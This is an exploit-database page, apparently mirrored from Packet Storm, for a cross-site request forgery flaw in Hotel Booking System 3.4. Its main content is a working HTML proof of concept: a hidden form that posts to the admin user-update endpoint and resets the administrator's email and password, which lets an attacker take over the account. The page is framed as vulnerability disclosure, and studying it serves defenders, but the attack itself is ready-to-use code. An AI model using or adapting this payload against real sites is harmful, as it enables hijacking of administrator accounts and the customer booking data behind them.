Lucene search
K

Hotel Booking Script 3.4 Cross Site Request Forgery

🗓️ 19 Dec 2018 00:00:00Reported by Sainadh JamalpurType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Hotel booking system 3.4 CSRF exploi

Code
`# Exploit Title: Admin Account take over Via CSRF  
# Google Dork: N/A  
# Date: 17-12-2018  
# Exploit Author: Sainadh Jamalpur  
# Vendor Homepage: https://www.phpjabbers.com/hotel-booking-system/  
# Software Link: https://demo.phpjabbers.com/1545033057_422/index.php?controller=pjAdmin&action=pjActionIndex  
# Version: 3.4  
# Tested on: Windows x64/ Kali linux x64  
# CVE : N/A  
  
************************Description:**********************  
  
The online hotel reservation system is built in PHP and uses MySQL to  
store data. The script provides a powerful room booking and reservation  
management functionality and allows you to install a clear  
call-to-action tool on your hotel website which will impact conversions  
and increase bookings. Our room booking system is highly customizable  
and compatible with various website types.  
  
*************************Vulnerability Description:****************  
An attacker can take the admin account via sending the Malicious link  
to the authenticated user then the Victim clicks on the malicious link  
then the admin password is change  
  
************************************  
PoC**************************************  
  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://site.com/admin/index.php?controller=pjAdminUsers&action=pjActionUpdate"  
method="POST">  
<input type="hidden" name="user_update" value="1" />  
<input type="hidden" name="id" value="1" />  
<input type="hidden" name="role_id" value="1" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="password" value="pass1234" />  
<input type="hidden" name="name" value="Administrator" />  
<input type="hidden" name="phone" value="" />  
<input type="hidden" name="status" value="T" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation